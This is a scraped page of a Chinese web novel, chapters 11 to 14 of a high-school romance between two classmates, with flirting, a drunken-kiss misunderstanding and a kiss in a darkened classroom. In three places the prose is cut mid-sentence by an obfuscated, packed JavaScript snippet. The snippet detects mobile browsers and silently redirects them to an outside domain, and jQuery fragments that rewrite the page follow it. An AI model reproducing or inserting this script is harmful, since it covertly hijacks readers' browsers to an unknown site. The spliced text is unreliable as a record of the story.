说着,他将手搭在江淮书的肩上,几秒钟过后就举起了右手,指间夹着一朵纯白的茉莉。他笑着用花瓣蹭过江淮书唇边的痣,可由于他们的距离太近,茉莉的枝桠也蹭到了自己的嘴唇,似乎是觉得痒,他笑出声。 “好看吗?” 舞步不知什么时候停下了,江淮书的目光落在他的脸上,接着嘴唇动了动:“好看。” “我也觉得。” 话是这么说,但下一秒谭俞就松开了手指,茉莉花一下掉在了沙滩上,他抬眸,目光直直看进了江淮书的眼底。 “同桌,” “我觉得应该有人告诉过你,” “你很漂亮。” 11. 你怎么睡在江淮书家 “唔……” 谭俞在床上翻了个身,将被子蒙住头继续躺尸。 他的酒量真是已经差到令人发指的程度了,昨晚絮絮叨叨说了些让人听不清又听不懂的废话后就靠在江淮书肩上失去了意识,江淮书将他带回家照顾到大半夜才睡。 酒量不好还非要喝酒的下场就是醒来时头疼,谭俞感到不适,皱了皱眉后睁开了眼睛。 今天这墙的颜色似乎是变了,窗户周围都是一些绿植,书柜上摆满了书,他眼神游离,四处观望着,感觉哪里有些不对劲。他坐起身打了个哈欠,下床穿拖鞋,习惯性地伸手去拿闹钟。 他摸索了半天连闹钟的边儿都没摸着,反而摸到了一堆奖牌和奖杯。 “啧,闹钟呢?怎么一堆奖牌。”他不耐地嘀咕着。 等等,奖牌??! 这个认识瞬间让谭俞清醒了,他转过头去看,只见桌上摆满了名誉证书,奖牌和奖杯,这阵势差点一下子亮瞎他的眼睛。 梦没醒吗,他哪来的这么多奖? 就在他愣在床上大脑飞速运转时房间门被敲了敲,随后打开了,江淮书系着围裙走了进来:“谭俞,你醒了吗?吃早餐了。” 谭俞大脑宕机几秒后才艰难开口:“我,我昨晚睡的你家?” “嗯,”见他脸色不太好看,江淮书以为是在害怕奶奶担心,于是耐心解释道,“放心,昨晚你喝醉的时候给你奶奶发过消息了,说借宿我家。” “啊?!”他这么一说谭俞更不放心了,“我没发疯胡说八道些什么吧?” “没有。” 听见江淮书这么一说,谭俞松了口气:“我洗漱完就下楼。” 江淮书点了点头:“好,一次性洗漱用品在浴室,你找一下,找不到问我。”说完,他便关上门转身走了。 早餐做的是蛋卷和三明治,不得不说江淮书真的很有一手,三明治是小熊形状的,看着特别可爱。 吃早餐时谭俞很是心不在焉,喝牛奶出神,差点给呛死。江淮书轻轻拍着他的背给他顺气,心里升起疑惑:“你怎么了,早餐不合你口味吗?” “没,”谭俞重重地咳了两声,他抬眼看向江淮书,神情有些奇怪,“江淮书我问你个事。” 他的语气听起来有些不同寻常的正经,江淮书讶异地轻抬眉梢:“你问。” “我……”谭俞欲言又止,最后闭眼豁了出去,“我没对你做什么吧?” 听了这话,江淮书动作一顿。 其实谭俞多虑了,两人昨晚什么也没做,谭俞只是话多了一点,也没对他动手动脚发酒疯,本该说实话让谭俞安心的,但见到他眼神飘忽,一副心虚的模样,江淮书觉得有些心痒,改变了主意。他指尖轻轻敲了敲桌子,垂下眸,慢条斯理地端起牛奶喝了一口。 “你昨晚亲我了。” 话音一落,谭俞嘴里的牛奶顿时喷了出来,心彻底凉了一片。 谭俞,你这个畜生…… 他闭了闭眼,在心里骂自己,再次睁开眼时眼里已满是歉意:“对不起啊江淮书,我,我昨晚喝醉了,脑子不清楚冒犯了你,你别生气。” “我,我们,呃……我们还是好朋友,对吧?” “好朋友?”江淮书重复了一遍,勾了勾唇,“可以接吻的好朋友吗?” 明明是使坏的笑意,谭俞却硬生生看成了悲痛欲绝的暗自坚强,气氛实在太尴尬,他猛地站了起来:“真的实在是对不起,我那个,我得去抄化学公式了,我先走了,谢谢你给我做早餐。” 很拙劣的借口,但江淮书并没有说什么,一声不吭地看着谭俞手忙脚乱的慌乱模样。谭俞巴不得一步跨出门外,抓着书包和手机就跑了出去,颇有些落荒而逃的意味。 外边正等谭俞出门一起去上学的段佳成早已焦头烂额,他正准备掏出手机给谭俞打电话,没想到余光却看见谭俞从江淮书家里狂奔出来。 “我操,这是整的哪一出啊?” 等谭俞跑到自己面前后他开始贱兮兮地打量眼前的人:“啧啧啧,你怎么睡在江淮书家,不会是死皮赖脸跟着去的吧?” “说,是不是让江淮书替你抄公式了?!” 谭俞心里烦得不行,背着书包就大步往前走:“你别吵,我想静静。” “哟,”段佳成阴阳怪气地叫了一声,跟了上去,“被我说中了呗,恼羞成怒了呗。” “你还想静静,为什么不是想书书啊?人家帮你抄了一晚上公式啥也没有,真没良心。” 此话一出,谭俞顿时耳尖都红透了,他咬了咬牙,干脆跑了起来:“要迟到了,我先走了。” 段佳成瞪大眼,显然是没想到谭俞会突然跑起来:“诶你等等我啊,你看你羞得耳朵都红了!” “闭嘴吧!” ————————————————————————— 为了不跟江淮书正面接触谭俞也是豁出去了,装困到后面站了一早上,来上课的老师见到他站在后面都惊呆了,上课也时不时提几嘴谭俞表扬几句,讲课都变得更卖劲。 中午放学谭俞抓住段佳成的衣领,二话没说就往外走:“今天我跟你吃饭。” “老谭你干嘛?”段佳成一脸疑惑,“你怎么不跟江淮书一起啊,我中午不吃饭。” 谭俞动作一顿:“你要去干什么?” “打球啊。” “行,走。” 被拽着往外走的段佳成:“?” 篮球场上人很多,打球的,送水的,看热闹的都有,谭俞热,找了个地方躲太阳。他坐在树荫下叼着冰棍发呆,融化的水一滴一滴往下掉。 再怎么喜欢江淮书唇边的痣也不能直接上嘴啊,谭俞你是不是傻逼? 谭俞在心里又骂了一遍自己,现在的他全身上下都写着“羞愧”两个大字。他懊恼地抓了两把头发,咬断冰棍用力在嘴里嚼。 就在这时,不知是谁将什么东西放在了他的头上,他顿了顿,伸手摸了摸头顶,愣住——是顶花环。 他回眸一瞧,只见江淮书正站在他身后微微弯腰帮他把花环戴正。 两人一时间谁都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900348|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说话,谭俞的目光定在江淮书的眉眼,江淮书垂眸与他对视,那瞬间的周围仿佛都安静了,谭俞真正体会到了什么叫做窒息。 冰棍融化得很快,有几滴水滴滴在了谭俞的手上,江淮书拿出纸巾准备给他擦干净,但他反应迅速,猛地站了起来,头差点撞到江淮书的下巴。 “我,我去洗手。” 谭俞跑得很快,原本已经有点歪的花环现在已经掉在了地上,江淮书的手还悬在半空,但人已经不见了,他的眼里顿时闪过一丝不爽。 “啧。” ————————————————————————— 下午的课上得跟唱戏似的,谭俞往后站江淮书也往后站,谭俞回座位江淮书也回座位,以此翻来覆去的这么做,他俩终于把敌敌畏给惹毛了。 “你俩身上有跳蚤是吧?!动来动去的不得安宁,给我滚去后面好好站!” 话一说完班上立刻传来了几道低笑,谭俞收回刚要迈出去的左腿,老老实实地站在了原地:“哦。” 两人虽说是同时站在后面,但距离离得很远,连搭话的机会都没有。 高中生总是下课活跃上课死睡的这句话在段佳成身上得到了完美的体现,他睡得可香,连敌敌畏来到他身边了他都没察觉,谭俞看不下去,踹了他板凳一脚,他猛然惊醒。 “谁踹我啊,要死啊?!” 段佳成的声音非常之洪亮,在这教室里面反复回荡,敌敌畏气得脸都绿了,一书拍在他背上:“睡睡睡,一天就知道睡!” “公式会了?实验会了?背书也行了?” “呃哈哈哈……”段佳成干笑着站起来,“老师,其实我是昨天晚上学习学太晚了所……” 这借口基本都用烂了,敌敌畏明显不信,他没好气地说:“学习学晚了?!打游戏打晚了吧!作业都是今天早上现补的,你怎么好意思说得出口?” “你看看你的作业,你这个字简直狗屎,看都看不懂,照你这么下去哪个改卷老师会给你卷面分?拿滚回去重做!” 后面站着的谭俞憋笑憋得辛苦,不得不用化学书遮住脸。 现在好了,原本是只有谭俞和江淮书两个人站在后面,现在又加了个段佳成插在中间,这下谭俞放松多了。 “你刚刚怎么不提醒我?”段佳成小声地跟谭俞说着小话。 “他都来到你身边站着了,”谭俞一脸幸灾乐祸,“我怎么提醒?” 他话还没说完下课铃声就响了,敌敌畏没有拖堂的习惯,只好狠狠瞪了站在后面的三个人一眼:“下次再让我浪费时间教训人放学就都别走了,补课!” 谭俞离座位近,走两步就到了,他从桌洞里拿起手机准备出去,但此刻江淮书已经来到位子上坐下了。 完了,他出不去了。 “那个……”谭俞张了张口,“同桌,你让我出去一下,我……” “谭俞,” 江淮书打断了他的话,抬眸看了过来,眼底没有丝毫情绪,像一汪静潭。 “你躲我?” 12. 你自己没有同桌吗 “没,没有啊,”谭俞干笑,“我就是,就是……” 就是什么呢?谭俞在心里问自己。 明明就是自己发酒疯冒犯了江淮书,事后又当逃兵冷落了他一整天,换位思考一下,如果是自己被这样对待也肯定会心里不舒服。 谭俞觉得自己真不是个东西,他用舌头轻抵了下牙尖,红着脸垂下眼睛不敢看江淮书:“我就是不知道怎么收拾烂摊子,不知道怎么面对你。” 红晕久久不散,反而还蔓延到了脖颈处。谭俞的性格和长相看起来像是很随性很会玩的那种类型,但其实他没谈过恋爱,而且连手都没牵过,被女生表白时还会说话结巴,然后脸红一整天。 看他这脸红的架势,如果再继续下去的话他可能就要熟了,江淮书见好就收,“大发慈悲”地开口:“我没生气,你别躲我。” 他这么一说,谭俞似乎看到了希望:“你真没生气?” “没有。” “那就好,”谭俞松了口气,一下子跟没骨头似的趴在桌子上,“我还以为你要跟我绝交呢。” “我不会,”江淮书抬眸看他,“你不是要出去么,我让你。” 说完他就准备起身,但谭俞却一下子抓住了他的手指,他眼皮一跳,没了动作,谭俞向他那边挪了挪,头靠在了他的桌子上:“我不出去了,你不用让。” 两人之间的距离恢复到了以前,犹如一种无声的和好。谭俞趴在桌子上看江淮书,什么话也不说,注意到他的视线,江淮书也看了过来,两人的视线一下子撞在一起,但谁都没有移开。 心里那种异样的感觉越来越强烈,谭俞想要放开江淮书的手,可他的手指刚松开江淮书的手指就缠了上来。 这下谭俞没再动了,桌子遮住了底下两人缠在一起的手指,谁都没有说话,隐秘的角落默许了两人不清不楚的举动。 ————————————————————————— 最后一节课全校老师开会,学生们提前放学,段佳成高兴坏了,抓起书包就跑到谭俞面前:“走走走,老谭,我刚学了个新英雄,特牛逼,我们回家打游戏去!” “不要,”谭俞坐在讲台上悠哉悠哉地晃着长腿,“我要等我同桌值日。” “?”段佳成一脸的不可置信,“你今天中午还说要跟我一起吃饭回家,怎么现在要等江淮书了?” “你神经病啊?” 谭俞扯了扯嘴角:“我们三个不是顺路吗?一起走啊,反正都住在茉莉巷。” “也对哦,”段佳成反应过来,将书包放下了,“那我俩一起等。” 江淮书的值日内容不多,擦黑板和换水就可以了,所以两人等得不是太久。段佳成很是自来熟,堪称社交恐怖分子,明明江淮书跟他没啥话题,但他还是硬聊了一路。 “新同学,你打游戏吗?” “不打。” “那你爱吃鲅鱼水饺吗?我可拿手了。” “还行。” “你会做饭吗?” “会。” “你喜不喜欢吃杨桃啊?我家有很多。” “不喜欢。” “那你能借我作业抄吗?” “?” “我服了,”谭俞一下子笑出声,“你有病啊,聊了半天你突然让人家给你作业抄?” 段佳成丝毫没觉得自己的行为有什么问题,他瞪了谭俞一眼,歪理邪说讲得义正言辞:“有什么问题?这叫趁热打铁,跟新同学套好了近乎才有香香软软的作业抄,你懂不懂?” 说着,他又转头跟江淮书搭话:“好不好啊新同学,改天我请你吃鲅鱼饺子。” “不了,”江淮书拿出手机打开微信给他扫,“写完我发你。” “叮”的一声响起,两人加上了微信,段佳成发誓从来没有听过如此美妙悦耳的声音,此刻他已经快幸福得快飘起来了:“我的作业有着落了……” “谢谢你新同学,今后我一定给你当牛做马,成为你的小跟班,随叫随到。你的垃圾我给你扔,你腿疼了我给你揉,你……” 谭俞听不下去了,侧身轻轻踢了段佳成一脚:“有必要吗你。” 被踹的段佳成很不服气,刚想说些什么话来怼谭俞,但余光却瞟到了路过的冰淇淋车,他顿时瞪大了眼,语气兴奋:“我们去吃冰淇淋吧,他们家今天居然开张了,我之前特别馋他们家冰淇淋,特别好吃!” “哪儿啊?”谭俞闻言粗略地扫了一圈,什么也没看到。 段佳成觉得谭俞肯定是瞎了,心里着急,干脆先转身就朝冰淇淋车跑去:“你俩跟着我!” 或许当真如他所说的冰淇淋味道很好,因为他们家生意很火爆,前几个月是因为老板的老婆在医院生完孩子得坐月子所以没来开张,今天这一出现立马就把新老顾客给吸引了过去。 “老板,我要份开心果味的!”段佳成朝老板叫喊道,接着转头看向谭俞和江淮书,“你俩要什么味儿的?” 江淮书:“随便。” 谭俞:“我也随便。” 段佳成点了点头:“行,那你们跟我选一样口味的吧。” “老板,一共三份开心果味的冰淇淋!” 老板闻声回应:“诶好,你们稍等啊!” 这家店虽然人多,但效率高,没过三分钟谭俞他们的冰淇淋就端上来了。段佳成早已迫不及待,一路上边走边吃。 谭俞拿着冰淇淋吃了两口,忽然把目光放到了江淮书身上,后者似乎兴致不大,吃得慢条斯理。谭俞看了他手上的冰淇淋几秒,脑子里突然蹦出想尝尝他的那份味道怎么样的想法。 “同桌,”谭俞冲他笑笑,“我想尝尝你的。” 听到这句话时江淮书动作一顿,抬眸看向谭俞,嘴里还充斥着冰淇淋甜腻的味道,他轻舔了下嘴唇,声音有些哑:“我吃过。” “没事啊,”谭俞凑了过去,“我不嫌弃你。” 说完他便低头朝着江淮书手上的冰淇淋咬了一口。很奇怪,明明是一样的口味,但他却觉得江淮书的冰淇淋要更甜一些。 “同桌,你的冰淇淋好像比我的要好吃。” “啊?”段佳成闻言转头,也凑了过来,“真的假的?我尝尝。” 谁知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900349|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的头刚伸过来就被谭俞挡住了:“你干嘛?” “?”面对谭俞的阻挡,段佳成有些莫名其妙,“你不是说江淮书的要好吃一点吗?我尝一下啊。” 江淮书垂眸看着挡在自己身前的人,没说话。谭俞面露嫌弃地打量了段佳成一番:“你自己没有同桌吗?下次带你同桌来你吃他的呗。” 段佳成觉得谭俞很无理取闹:“我同桌?” “我同桌是女生!” 说完他自己都气笑了:“你有病吧老谭,不吃就不吃,你跟你同桌过一辈子去吧。” 两人一路吵吵嚷嚷地回到家,把原本就话不多的江淮书衬得像是自闭症患者。 江淮书直到回家之后冰淇淋都还没吃完,他看着手中已经化掉的冰淇淋,鬼使神差地朝谭俞吃过的地方咬了一口,冰凉的触感并没有使他清醒多少,反而令他无端地感到一阵口干舌燥。 他烦躁地撩了一把头发,随后将冰淇淋扔进了垃圾桶里,脱了校服往浴室走。开关被打开,冷水从头顶淋下,江淮书看着镜子里的自己,突然抬手给了自己一巴掌,接着双手撑在洗漱台上低头闭上了眼睛。 他起反应了,在刚刚咬冰淇淋的那一瞬间。 ————————————————————————— “今天周测,不及格的抄试卷。”英语老师边发试卷边交代道。 此话一出,班级里顿时响起此起彼伏的抱怨声。 “啊什么啊?”发完试卷的英语老师回到讲台上坐下,“有奖有罚,考到前五名的同学有奖励。” 考英语可是谭俞的强项,不过不是因为会写,而是因为可以ABCD乱填,他三两下蒙完之后就趴桌休息了。 教室里安静得出奇,只有同学们写题的“唰唰”声,给谭俞听得差点儿睡着。他重新支起脑袋,拿起笔假装写题,但没装一会儿他就开始眼神飘忽,最终把目光落到了江淮书身上。 此时的江淮书正在写英语作文,注意到谭俞的视线,他微微转头看向对方,低声问道:“怎么了?” “好难啊,”谭俞皱了皱眉,小声回答,“我不会。” “哪儿不会?”江淮书伸手轻轻扯过他的试卷,“指给我看,我教你。” 谭俞偷看着江淮书的脸,胡乱地在试卷上指了一通。江淮书在文章里标出了生词的翻译,并且把答案在里面勾画了出来,接着在草稿纸上写上了如何转换句子的方法,最后全都递给了谭俞:“你看一下,还不会就问我。” “好。” 谭俞应了一声,低下头装模作样地认真看题。不知为何,他总感觉心里空空的有些奇怪,似乎是觉得缺了点什么,他静了几秒,转头看向江淮书:“江淮书。” “嗯?”江淮书轻声回答,“怎么了?” “你伸手过来。” 这个要求有点奇怪,但江淮书还是把左手伸了过去,紧接着他就感觉自己的小拇指被手指勾住了。写字的笔尖顿时停住,他抬眼看向了谭俞。 谭俞用小拇指勾住了江淮书的小拇指,他耳尖微红,低声道。 “我想牵着你。” 13. 还是朋友? 梅城的夏季很长,夜里总是星星密布,谭俞睡不着觉,无聊地趴在窗边用手拨弄着盆里的茉莉花,他发了一会儿呆,随后拿出手机打开了江淮书的微信。 这个点江淮书应该还没睡吧? 他犹豫了一下,还是点开了视频通话,本以为会等个几秒钟,没想那边竟是秒接。 手机屏幕里出现江淮书那张冷白的脸时谭俞的心猛地跳了一下。暖灯的柔光照在江淮书身上,柔和了平日里的那抹冷淡,他似乎刚洗完澡还没吹头发,发丝正在滴水。谭俞感觉自己心里有点乱,随口跟他搭话:“同桌,你还没睡啊?” “没有,”江淮书的目光扫过他脸,眼里带了点不易察觉的温柔,“刚刚在跟发小打电话,见你弹视频通话过来我就挂了。” “怎么了,你睡不着吗?” “嗯,”谭俞点点头,靠在了窗户边,“一点睡意都没有。” 江淮书将手机摆在桌上,拿了本故事书出来:“那我给你念睡前故事?” 谭俞闻言一愣,顿时笑了起来:“你把我当小孩儿啊同桌。” “不是么?”江淮书也勾了勾唇,“我一直觉得你像小孩。” 他的声音又低又轻,带着纵容,谭俞忽然觉得有些不好意思,干脆回到床上闭眼装死:“那你念吧,我听着。” “好。” 江淮书念的是一则很经典的童话故事——《灰姑娘》,谭俞听着听着就开始偷看对方,神游天外:他睫毛好长,皮肤好白啊,声音好听长得也好看,他的嘴巴是不是很软啊…… 想到这谭俞突然打住了,一种罪恶感油然而生:谭俞你有病啊,想这些干什么?他用力拍了拍脸,红着脸闭上眼继续听故事。 可能是故事太无聊,也可能是江淮书的声音过于催眠,没过五分钟他就睡了过去。江淮书听见对方的呼吸声逐渐平稳,心里想着应该是睡着了,于是他也没继续念下去。视频通话并没有挂断,江淮书静静地看了他很久,气氛安静半晌,随后响起了一声轻笑,江淮书低头吻住了手机屏幕。 “晚安。” ————————————————————————— 昨天作业太多,段佳成没写完,索性装病请假,所以今天他没有来学校,午饭时间只有谭俞和江淮书两个人一起。 “感觉今天天气不太好啊,”谭俞用勺子搅动着虾仁粥,自言自语道,“阴沉沉的。” 听见谭俞的话,江淮书抬头朝远处的天上看去,果然乌云密布,黑压压的一片。他喝了口汤,放下了手机:“嗯,应该是要下雨。” 谭俞点了点头,刚要说些什么时却突然被一道叫声打断了话。 “哎哟我的妈!我的椰子啊!” 两人闻声看去,只见一个老奶奶正着急地蹲下身去捡椰子。她的摊子似乎是塌了,大大小小的椰子滚落了一地,椰子水也全撒了。 谭俞二话不说站起身走了过去,江淮书见状也跟着来了。谭俞拍了拍老奶奶的肩,轻轻笑道:“奶奶,我们帮您捡吧。” “哎哟谢谢谢谢,”老奶奶抬起眉头,感激地笑了笑,“真是谢谢你们了小同学。” “没事,”谭俞将椰子抱在怀里,随后重新把它们放到了摊子的板子上,“奶奶,您这个支腿已经老化了,得换一个。” 老奶奶一听,面露着急:“这可怎么办呐,看这天应该是快下雨了,我得推着推车回家啊。” 听她这么一说,谭俞也犯了难:“我不会修啊,对不起啊奶奶。” 江淮书把椰子放下,走了过来:“我看看。” 他来到摊子的车轮边蹲下,仔仔细细地扫了几眼,接着沉思了几秒,随后抬头看向谭俞:“谭俞,你随便去家店借点钉子和锤头给我。” “啊,好”谭俞应声,转身准备走。 但老奶奶叫住了他:“不用了小同学!钉子和锤头我这儿有。” 说完,她转身就去拿工具递给了江淮书。 江淮书把支腿上的木板重合在一起用钉子定住,接着又用胶带绑了好几圈,用手使劲掰了几下,确认弄结实之后站起了身:“奶奶,这种程度应该能支撑到您推车回家,回家之后您把支腿换了就可以了。” “好好好,真是太谢谢你们了,”老奶奶向他们鞠了好几次躬,语气里满是感激不尽,“我这儿也没什么好吃的,要不就请你们喝椰子水吧。” 这礼谢得可太大了,谭俞连忙把她扶了起来,笑了笑:“没事没事,您快收拾收拾摊子赶快回家吧,这天黑沉沉的,应该就是快要下雨了,等会来不及躲雨,淋湿了会感冒的。” 说着,他还朝老奶奶挥了挥手,拉起江淮书转身就走了:“奶奶我们快迟到了,要回学校了,再见啊!” “两位小同学!以后你们来我这儿喝椰子水全免费,我管够!” “好,谢谢奶奶了!” 跟老奶奶说完再见,谭俞转过头冲江淮书笑:“想不到你竟然会修推车?” “嗯,”江淮书应了声,“略懂一点。” “嘁,你还挺谦虚,”谭俞挑眉,“好了好了,回学校!” ————————————————————————— 谭俞第一次能养活抽奖得的仓鼠,不知是养的手法进步了还是这只仓鼠命大,硬生生活了这么长时间,上语文课的时候谭俞闲得慌,又在捣鼓这只仓鼠。 他将不要的废书撕成碎片搭成一个小窝,然后把仓鼠放了进去。这仓鼠明显是有些慌张,在窝里转了几圈就停了下来,一动不动地看着谭俞。谭俞特别喜欢它的毛,因为很软,他喜欢软软的东西,所以总是爱用手指摸它的背。 可惜这只仓鼠很叛逆,挣扎着圆滚滚的身子不让他碰,豆大的眼睛里满是戒备。 谭俞不理解,小声嘟囔:“我又不吃你,你这么怕我干什么?” 不知他是不是惹仓鼠讨厌的体质,这仓鼠都不拿正眼看他,完全是背对着他的。谭俞实在无聊,将它拿出来放在桌子上玩,仓鼠得到了自由,开始四处乱爬。 它越过比它高一头的书爬到了江淮书的衣服上,谭俞心里一紧,连忙用手去抓,但它狡猾得很,一溜烟就爬到了另一边,谭俞没抓到反而是拍了一下江淮书。 江淮书顿了顿,转头看他:“怎么了?” 谭俞干笑,表情窘迫,张嘴做了个口型:仓鼠爬你桌上了。 还没等他说完,这仓鼠就已经快要跑到前桌去了,他来不及管这么多,直接伸手去抓,结果不仅又没抓到,反而还连人带椅子一起倒了下去。江淮书眼疾手快,用书挡住了仓鼠的去路,接着提住了仓鼠的后颈。 谭俞倒在了江淮书身上,椅子砸在地上发出“咚”的一声巨响,全班的同学都看了过来,他尴尬得想死,简直想直接去世。语文老师是个很知性温柔的女老师,她听见谭俞搞这么大动静也没生气,而是温温柔柔地开口关心道:“谭俞你怎么了?” “没事没事,老师,”他站起来扶起椅子,“就是椅子倒了。” 语文老师没有怀疑他的话,点了点头:“那你小心点,别摔到哪儿了。” “好,谢谢老师。” 接下来的半节课里谭俞已经老实了,他把仓鼠关在窝里,直到下课都没放出来。 乌云已经慢慢飘到了这边,天上开始打雷,教室里很闷热,谭俞有些受不住,直接把校服外套脱了放桌上。 游戏输了好几局,他干脆不打了,趴在桌上一动不动。可能是实在没事做,他转头就去骚扰江淮书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900350|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “同桌。” “嗯?” “没事。” 几分钟后,谭俞再次出声。 “同桌。” “怎么了?” “没事。” 江淮书放下手机,抬眸看他,没有说话。但谭俞并没有注意到江淮书已经看过来了,他动了动嘴唇,准备故技重施。 “同……唔。” 他被江淮书捂住了嘴,惊讶地睁开眼看着对方。江淮书叹了口气,低头凑近他,轻声问:“你怎么了,感觉你今天下午很浮躁。” 谭俞抓住他的手移开,缓慢地眨了下眼:“我有点无聊。” “那……”江淮书思考片刻,勾了勾唇,“那我们来玩个游戏,剪刀石头布,谁赢了就弹对方一下。” “好啊,来。” 第一次是谭俞赢了,他毫不客气地伸手弹了一下江淮书的脑袋,江淮书什么也没说,陪着他闹。 或许是运气太好,谭俞赢了好几次,他很得意,让江淮书闭上眼睛,说要大展身手,江淮书听话照做。可当对方真的闭上眼时谭俞又停住了动作,看着江淮书精致的眉眼,他莫名觉得应该做些什么,但具体要做什么自己也不清楚,于是便没头没脑地来了一句:“江淮书,你身上怎么总是这么香啊?” 此话一出,空气瞬间安静。 江淮书慢慢睁开了眼,他静静地看了谭俞几秒,指尖动了动:“你好像经常说我身上很香,你很喜欢我的味道么?” 又来了,那种异样心痒的感觉,谭俞舔了舔干燥的嘴唇,诚实地回答江淮书:“喜欢。” 话音刚落,教室里突然停电了,眼前一片漆黑,同学们开始变得躁动起来。 黑暗里两人看不清对方的神情,渐渐滋生出了一种模糊的粘腻感。 “这样啊,”江淮书轻笑,伸出脚勾住谭俞的凳子一下子移了过来,发出“滋啦”的声响,他们的距离瞬间缩短,“那你要不要凑近点闻。” 谭俞心跳得很快,不明白事情怎么发展成这样了,异样感愈发强烈,他开始有些兴奋。 “江淮书。” 听见谭俞叫自己,江淮书没有出声。 “你之前说我亲你,但是你没有生气,我觉得我现在可能脑子有点坏掉了,你也不要生气,好不好?” 江淮书闻言眼皮一跳,气息有些不稳,捏着笔的指尖微微泛白:“谭俞。” 谭俞伸手扯住了他的领子,他被动弯腰,两人头靠到了桌子上。谭俞用校服遮住了他们的头,扬起下巴对着江淮书的嘴唇贴了上去。 从外面来看这两人像是凑在一起睡觉,但现在教室里一片漆黑,同学们都忙着聊天吃零食,根本没人注意到这里的动静。 谭俞没接过吻,只知道用力贴住对方的嘴唇,他循着记忆咬住江淮书唇边的痣,含在嘴里轻轻吮吸。江淮书的呼吸此刻已经完全乱了,他压抑着喘息,声音又低又哑。 “你好乖。” 他探出舌尖去舔谭俞的唇,缠着对方的舌尖吻得极深,而也谭俞扯着他的袖子,张开嘴回应。两人唇齿缠绵,吻得难分难舍,由于吻得太过,谭俞感觉窒息,生生被逼出了点眼泪。 好巧不巧,这时的教室里又突然来了电,谭俞犹如惊醒了一般猛地退开了身,分开时两人唇齿间拉出银丝,校服滑落,江淮书眉梢微抬,又凑了过去,他抬眸看向谭俞,那双凌厉漂亮的凤眼里满是侵略意味。 “现在呢,我还是你的朋友?” 谭俞此刻心跳快得仿佛已经快要把心脏给吐出来了,他不敢去看江淮书的眼睛:“是,是啊。” 江淮书静了两秒,接着又吻了一下谭俞的嘴唇,发出“啾”的轻响,他笑。 “行,” “你说是那就是。” 14. 为什么不开心 “啊啊啊啊啊啊啊啊,怎么就亲上了怎么就亲上了怎么就亲上了?!!!” 谭俞将自己锁在房间里面不出来,崩溃地扯过被子盖住自己,停电时发生的一切还都历历在目,说过的话也都在耳边回荡着。 ——“现在呢,我还是你的朋友?” ——“是,是啊。” 回忆到这谭俞恨不得穿越回去打死自己,他怎么能说这种话?江淮书不会以为自己是个渣男吧?这些不清不楚的举动到底算什么啊? 一堆问题一股脑地压着他,此刻他脑子里堪称一团浆糊,乱七八糟的。 “小俞,你怎么自己做好了饭菜却不下楼来吃啊,生病了吗?” 房间门被敲响,姚淑芬的声音从门外传来,谭俞这才想起自己做好了饭菜但自己还没吃,他有些无语,没想到自己现在已经降智到了这种程度。他清了清嗓子,掀开被子起身开门:“奶奶,我没生病,我来了!” “你是在房间里学习吗?”姚淑芬笑了笑,轻轻拍着谭俞的肩,“难得呀。” 谭俞听见被夸,也不解释了,干脆顺着姚淑芬的话说了下去:“对啊对啊,我在里面背单词呢。” “好好好,”姚淑芬欣慰极了,毫不吝啬对乖孙的夸奖,“我们家小俞就是棒。” 两人来到餐桌前时谭叶已经开吃了,蒸虾被她吃了好几只,嘴边糊了点酱汁,很是滑稽可爱。 “小叶子慢点吃,没人跟你抢。”说着,谭俞拿起筷子刚准备夹菜,结果手机却不合时宜地响了一下,他没多想,可能是谁给他发消息了,于是随手拿出来打开扫了一眼,也就是这一眼,他差点没拿稳碗筷。 H:明天别躲我。 ————————————————————————— 期末考试就在这几天,考完就放假,大多数学生一到期末就紧张和兴奋,一是因为要放假了,二是因为期末考试可以巩固这学期的收获成果。不过谭俞没什么感觉,他更多的是尴尬,因为考试的时候江淮书就坐他旁边。 “老谭,你咋了,“段佳成咬着冰棍打量了一下谭俞,“怎么愁眉苦脸的,你还怕期末考试啊,之前怎么不见你这样?” “不是害怕期末考试,”谭俞扯了扯嘴角,“是因为江淮书。” 听了谭俞的话,段佳成差点把嘴里的冰棍吐出来,声音带着羡慕嫉妒恨:“什么?!难道你考试的时候跟新同学坐一起?!” “我靠了,那你这么愁眉苦脸的干什么,直接抄啊!” 谭俞啧了一声,拍了一下段佳成的脑袋:“抄你个头啊,我又不是心烦我的成绩差。” “嗷嗷嗷嗷!!!”段佳成捂住脑袋,瞪了谭俞一眼,“别碰我帅气潇洒的头发!” 见他行为浮夸自恋,谭俞翻了个大大的白眼,拿起笔就走:“行了,我要去二班找座位了。” 二班分的考生全是新转来的和成绩差的,谭俞严重怀疑整个考场只有江淮书才是唯一真神。 